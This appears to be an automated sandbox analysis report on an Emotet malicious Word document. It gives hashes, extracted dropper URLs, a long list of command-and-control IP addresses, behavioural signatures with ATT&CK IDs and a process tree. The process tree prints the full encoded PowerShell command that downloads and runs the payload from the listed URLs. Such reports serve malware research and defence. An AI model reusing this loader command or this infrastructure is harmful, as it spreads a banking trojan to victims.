emotet | 1f2c19c6f9d70e2785636d697892dee2d5671bf398be2672ec542a9e6bfaabe6

Analysis

max time kernel
135s
max time network
145s
platform
windows10_x64
resource
win10
submitted
01/10/2020, 15:03

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General

Target
emotet_e1_1f2c19c6f9d70e2785636d697892dee2d5671bf398be2672ec542a9e6bfaabe6_2020-10-01__150021059876._doc.doc
Size 190KB
Sample201001-adrk9t7arn
SHA256 1f2c19c6f9d70e2785636d697892dee2d5671bf398be2672ec542a9e6bfaabe6
MD5 1d304631faeb170b063ae6e6ce9d3c89
SHA1 6db590e8075d845efdfb6b11782a75a4e3faf806
SHA512 70eff3dc2fbaf301d143ce94918a553977fc5cc587bd6be28484181724731fc696bc1c0b40d92b9795ac44ca4d043993f5f57a871220ce8efd5681ce19770e6d
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

Source

URLs

exe.dropper
http://www.jornco.com/wp-admin/z/
exe.dropper
http://healthcureathome.com/ALFA_DATA/ZD/
exe.dropper
http://huaibangchina.com/kic3kc/fq4/
exe.dropper
https://devanyastore.com/wp-content/K/
exe.dropper
https://buildmarker.com/wp-content/uploads/N/
exe.dropper
http://ezisync.com/home/wp-content/tMe/
exe.dropper
https://www.mycollegecp.com/wp-admin/W/

Extracted

Family

emotet

202.22.141.45:80
37.187.161.206:8080
202.29.239.162:443
80.87.201.221:7080
82.76.111.249:443
216.47.196.104:80
192.241.143.52:8080
192.81.38.31:80
87.106.253.248:8080
64.201.88.132:80
192.241.146.84:8080
12.162.84.2:8080
1.226.84.243:8080
177.129.17.170:443
202.134.4.210:7080
70.169.17.134:80
152.169.22.67:80
5.196.35.138:7080
138.97.60.141:7080
203.205.28.68:80
83.169.21.32:7080
191.182.6.118:80
190.188.245.242:80
62.84.75.50:80
181.74.0.251:80
189.2.177.210:443
111.67.12.221:8080
188.135.15.49:80
217.13.106.14:8080
68.183.190.199:8080
178.250.54.208:8080
189.35.44.221:80
201.213.177.139:80
137.74.106.111:7080
177.73.0.98:443
70.32.84.74:8080
51.15.7.145:80
177.74.228.34:80
185.94.252.27:443
50.121.220.50:80
186.70.127.199:8090
85.214.26.7:8080
181.129.96.162:8080
70.32.115.157:8080
82.230.1.24:80
60.93.23.51:80
213.197.182.158:8080
149.202.72.142:7080
190.115.18.139:8080
72.167.223.217:8080
190.24.243.186:80
109.169.12.78:80
94.176.234.118:443
185.232.182.218:80
219.92.13.25:80
209.236.123.42:8080
119.106.216.84:80
51.255.165.160:8080
51.75.33.127:80
51.15.7.189:80
61.197.92.216:80
5.189.178.202:8080
172.104.169.32:8080
45.33.77.42:8080
98.13.75.196:80
74.58.215.226:80
68.183.170.114:8080
155.186.0.121:80
190.117.79.209:80
128.92.203.42:80
202.4.58.197:80
70.116.143.84:80
77.238.212.227:80
67.247.242.247:80
12.163.208.58:80
212.71.237.140:8080
46.43.2.95:8080
96.227.52.8:443
186.103.141.250:443
185.94.252.12:80
104.131.41.185:8080
45.46.37.97:80
95.9.180.128:80
87.106.46.107:8080
50.28.51.143:8080
65.36.62.20:80
35.143.99.174:80
51.38.124.206:80
185.183.16.47:80
181.30.61.163:443
170.81.48.2:80
74.136.144.133:80

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3900	1516	POwersheLL.exe	73

Emotet Payload 4 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/352-13-0x0000000000600000-0x0000000000612000-memory.dmp	emotet
behavioral2/memory/352-14-0x0000000000620000-0x0000000000630000-memory.dmp	emotet
behavioral2/memory/3908-17-0x0000000000590000-0x00000000005A2000-memory.dmp	emotet
behavioral2/memory/3908-18-0x00000000020D0000-0x00000000020E0000-memory.dmp	emotet

Blacklisted process makes network request 1 IoCs

flow	pid	Process
14	3900	POwersheLL.exe

Executes dropped EXE 2 IoCs

pid	Process
352	Cbw6ou6.exe
3908	pcacli.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\LocationApi\pcacli.exe	Cbw6ou6.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
3892	WINWORD.EXE
3892	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
3900	POwersheLL.exe
3900	POwersheLL.exe
3900	POwersheLL.exe
3908	pcacli.exe
3908	pcacli.exe
3908	pcacli.exe
3908	pcacli.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3900	POwersheLL.exe

Suspicious use of SetWindowsHookEx 9 IoCs

pid	Process
3892	WINWORD.EXE
3892	WINWORD.EXE
3892	WINWORD.EXE
3892	WINWORD.EXE
3892	WINWORD.EXE
3892	WINWORD.EXE
3892	WINWORD.EXE
3892	WINWORD.EXE
3892	WINWORD.EXE

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 3900 wrote to memory of 352	3900	POwersheLL.exe	82
PID 3900 wrote to memory of 352	3900	POwersheLL.exe	82
PID 3900 wrote to memory of 352	3900	POwersheLL.exe	82
PID 352 wrote to memory of 3908	352	Cbw6ou6.exe	83
PID 352 wrote to memory of 3908	352	Cbw6ou6.exe	83
PID 352 wrote to memory of 3908	352	Cbw6ou6.exe	83

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e1_1f2c19c6f9d70e2785636d697892dee2d5671bf398be2672ec542a9e6bfaabe6_2020-10-01__150021059876._doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:3892

C:\Windows\System32\WindowsPowerShell\v1.0\POwersheLL.exe
POwersheLL -ENCOD JABRADIAMQBhAHkAYgA2AD0AKAAnAFoAJwArACcAXwAxACcAKwAoACcAagAnACsAJwBnADAAawAnACkAKQA7AC4AKAAnAG4AJwArACcAZQB3AC0AJwArACcAaQB0AGUAbQAnACkAIAAkAEUATgB2ADoAdQBzAEUAcgBwAHIATwBmAGkATABlAFwASgB4AE0AMABOAF8AbABcAGMANABuAFAANgBXAFIAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAAZABpAFIAZQBjAFQATwBSAFkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMAZQBDAGAAVQBSAGkAdAB5AHAAUgBvAHQAYABvAGAAYwBvAGwAIgAgAD0AIAAoACcAdAAnACsAJwBsACcAKwAnAHMAMQAnACsAKAAnADIALAAgACcAKwAnAHQAbABzACcAKQArACgAJwAxACcAKwAnADEALAAnACsAJwAgAHQAbABzACcAKQApADsAJABSAHQAMwA1AF8AOQBjACAAPQAgACgAKAAnAEMAYgAnACsAJwB3ACcAKQArACcANgAnACsAKAAnAG8AJwArACcAdQA2ACcAKQApADsAJABQAG4ANgAwAHMANABvAD0AKAAnAEIAXwAnACsAKAAnAGgAJwArACcAagBoACcAKQArACcAYgBpACcAKQA7ACQAWAA5AHkAOQAyADYAaQA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAoACgAKAAnADkAMwBLACcAKwAnAEoAeAAnACsAJwBtADAAbgAnACkAKwAoACcAXwAnACsAJwBsADkAMwAnACkAKwAoACcASwBDACcAKwAnADQAbgAnACkAKwAnAHAAJwArACgAJwA2ACcAKwAnAHcAcgA5ADMASwAnACkAKQAgAC0AQwBSAGUAUABsAEEAQwBlACAAIAAoAFsAQwBIAGEAUgBdADUANwArAFsAQwBIAGEAUgBdADUAMQArAFsAQwBIAGEAUgBdADcANQApACwAWwBDAEgAYQBSAF0AOQAyACkAKwAkAFIAdAAzADUAXwA5AGMAKwAoACcALgBlACcAKwAnAHgAZQAnACkAOwAkAFUAYgBhAG4AawBjAGUAPQAoACcATgAwACcAKwAoACcAbQAnACsAJwA1AGEAJwApACsAJwB3AG8AJwApADsAJABOAGUAOQB4ADkAbAAwAD0ALgAoACcAbgBlAHcAJwArACcALQAnACsAJwBvAGIAagBlAGMAdAAnACkAIABuAGUAVAAuAFcARQBiAEMATABpAEUATgB0ADsAJABEAGcAaQBvADQAOQAzAD0AKAAoACcAaAAnACsAJwB0AHQAJwArACcAcAA6AC8ALwAnACkAKwAoACcAdwB3ACcAKwAnAHcALgAnACsAJwBqAG8AJwApACsAKAAnAHIAbgAnACsAJwBjAG8AJwApACsAJwAuACcAKwAnAGMAJwArACgAJwBvACcAKwAnAG0ALwB3AHAALQBhACcAKQArACgAJwBkACcAKwAnAG0AaQBuAC8AegAnACkAKwAoACcALwAnACsAJwAqAGgAdAB0ACcAKQArACgAJwBwADoALwAnACsAJwAvACcAKQArACgAJwBoAGUAYQBsACcAKwAnAHQAJwApACsAKAAnAGgAYwAnACsAJwB1AHIAZQBhACcAKQArACcAdAAnACsAKAAnAGgAbwBtAGUAJwArACcALgAnACsAJwBjACcAKQArACcAbwAnACsAJwBtACcAKwAoACcALwBBACcAKwAnAEwARgBBACcAKQArACcAXwBEACcAKwAoACcAQQBUACcAKwAnAEEAJwApACsAJwAvAFoAJwArACgAJwBEACcAKwAnAC8AKgBoAHQAdAAnACkAKwAoACcAcAAnACsAJwA6AC8AJwApACsAJwAvAGgAJwArACcAdQBhACcAKwAoACcAaQBiAGEAJwArACcAbgBnACcAKwAnAGMAaABpACcAKQArACgAJwBuAGEALgAnACsAJwBjACcAKQArACgAJwBvACcAKwAnAG0ALwAnACkAKwAoACcAawBpACcAKwAnAGMAMwBrACcAKQArACgAJwBjACcAKwAnAC8AZgAnACkAKwAoACcAcQA0AC8AKgAnACsAJwBoACcAKQArACcAdAAnACsAKAAnAHQAcAAnACsAJwBzADoALwAvAGQAZQB2ACcAKwAnAGEAbgAnACkAKwAnAHkAJwArACgAJwBhACcAKwAnAHMAdABvACcAKwAnAHIAZQAuAGMAbwAnACkAKwAoACcAbQAvAHcAJwArACcAcAAnACsAJwAtAGMAJwApACsAJwBvACcAKwAnAG4AJwArACgAJwB0ACcAKwAnAGUAbgB0ACcAKQArACcALwBLACcAKwAoACcALwAnACsAJwAqAGgAJwApACsAKAAnAHQAdABwAHMAOgAvAC8AYgB1ACcAKwAnAGkAJwArACcAbABkACcAKQArACgAJwBtAGEAcgBrACcAKwAnAGUAcgAuAGMAJwApACsAJwBvAG0AJwArACgAJwAvAHcAcAAtACcAKwAnAGMAJwApACsAKAAnAG8AJwArACcAbgB0AGUAJwArACcAbgB0AC8AdQAnACkAKwAnAHAAJwArACgAJwBsAG8AJwArACcAYQBkAHMALwBOACcAKwAnAC8AKgBoACcAKwAnAHQAdAAnACkAKwAoACcAcAA6ACcAKwAnAC8ALwAnACkAKwAnAGUAJwArACcAegBpACcAKwAoACcAcwB5AG4AYwAuACcAKwAnAGMAJwApACsAJwBvACcAKwAnAG0AJwArACgAJwAvAGgAbwAnACsAJwBtACcAKQArACcAZQAnACsAJwAvAHcAJwArACcAcAAtACcAKwAoACcAYwBvAG4AJwArACcAdABlAG4AJwApACsAKAAnAHQALwAnACsAJwB0ACcAKQArACcATQBlACcAKwAnAC8AKgAnACsAJwBoACcAKwAoACcAdAB0AHAAcwA6ACcAKwAnAC8AJwApACsAKAAnAC8AJwArACcAdwB3AHcAJwArACcALgBtAHkAJwApACsAJwBjACcAKwAoACcAbwBsACcAKwAnAGwAJwApACsAKAAnAGUAJwArACcAZwBlAGMAcAAuACcAKQArACcAYwAnACsAJwBvACcAKwAoACcAbQAnACsAJwAvAHcAJwArACcAcAAtAGEAZABtAGkAbgAvACcAKwAnAFcAJwApACsAJwAvACcAKQAuACIAUwBgAFAAbABpAFQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABYADQAcABsAGcANwA1AD0AKAAoACcAUAB4AGgAJwArACcAaAAnACkAKwAoACcAMgBhACcAKwAnAGgAJwApACkAOwBmAG8AcgBlAGEAYwBoACgAJABJAGYAOAAwAHMAMgB0ACAAaQBuACAAJABEAGcAaQBvADQAOQAzACkAewB0AHIAeQB7ACQATgBlADkAeAA5AGwAMAAuACIARABvAFcAbgBgAEwAYABvAEEAZABmAEkATABFACIAKAAkAEkAZgA4ADAAcwAyAHQALAAgACQAWAA5AHkAOQAyADYAaQApADsAJABWAGoAYwBuAHUAcgB5AD0AKAAoACcARgAnACsAJwAxAHEAdAAnACkAKwAnAHIAJwArACcAdQBiACcAKQA7AEkAZgAgACgAKAAuACgAJwBHAGUAdAAtAEkAJwArACcAdABlACcAKwAnAG0AJwApACAAJABYADkAeQA5ADIANgBpACkALgAiAGwARQBgAE4AYABnAHQASAAiACAALQBnAGUAIAAyADgAOQA5ADEAKQAgAHsALgAoACcASQBuACcAKwAnAHYAJwArACcAbwAnACsAJwBrAGUALQBJAHQAZQBtACcAKQAoACQAWAA5AHkAOQAyADYAaQApADsAJABEAG4AcAB4ADkAZgA4AD0AKAAnAFYAMwAnACsAJwB4ACcAKwAoACcANgAnACsAJwA5AG8AcgAnACkAKQA7AGIAcgBlAGEAawA7ACQASABhADMAdABiAHQAcAA9ACgAJwBXAGMAJwArACgAJwByACcAKwAnAHEAawB6AGIAJwApACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFQAdwB2AHkANABvADgAPQAoACcARQBlACcAKwAnADEAegAnACsAKAAnAGEAJwArACcAegBrACcAKQApAA==
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3900
- C:\Users\Admin\Jxm0n_l\C4np6wr\Cbw6ou6.exe
  "C:\Users\Admin\Jxm0n_l\C4np6wr\Cbw6ou6.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of WriteProcessMemory
  PID:352
- - C:\Windows\SysWOW64\LocationApi\pcacli.exe
    "C:\Windows\SysWOW64\LocationApi\pcacli.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    PID:3908

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/352-14-0x0000000000620000-0x0000000000630000-memory.dmp

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memory/352-13-0x0000000000600000-0x0000000000612000-memory.dmp

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memory/3892-4-0x000001861F9D1000-0x000001861F9E2000-memory.dmp

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memory/3892-6-0x000001861FB9F000-0x000001861FBA4000-memory.dmp

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memory/3892-5-0x000001861F9D1000-0x000001861F9E2000-memory.dmp

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memory/3892-0-0x0000018614E70000-0x0000018615536000-memory.dmp

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memory/3892-3-0x000001861F9D1000-0x000001861F9E2000-memory.dmp

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memory/3892-2-0x000001861F9D1000-0x000001861F9E2000-memory.dmp

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memory/3892-1-0x000001861F9D1000-0x000001861F9E2000-memory.dmp

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memory/3900-7-0x00007FFCB69C0000-0x00007FFCB73AC000-memory.dmp

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memory/3900-8-0x000001E7E6220000-0x000001E7E6221000-memory.dmp

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memory/3900-9-0x000001E7E63D0000-0x000001E7E63D1000-memory.dmp

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memory/3908-17-0x0000000000590000-0x00000000005A2000-memory.dmp

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memory/3908-18-0x00000000020D0000-0x00000000020E0000-memory.dmp

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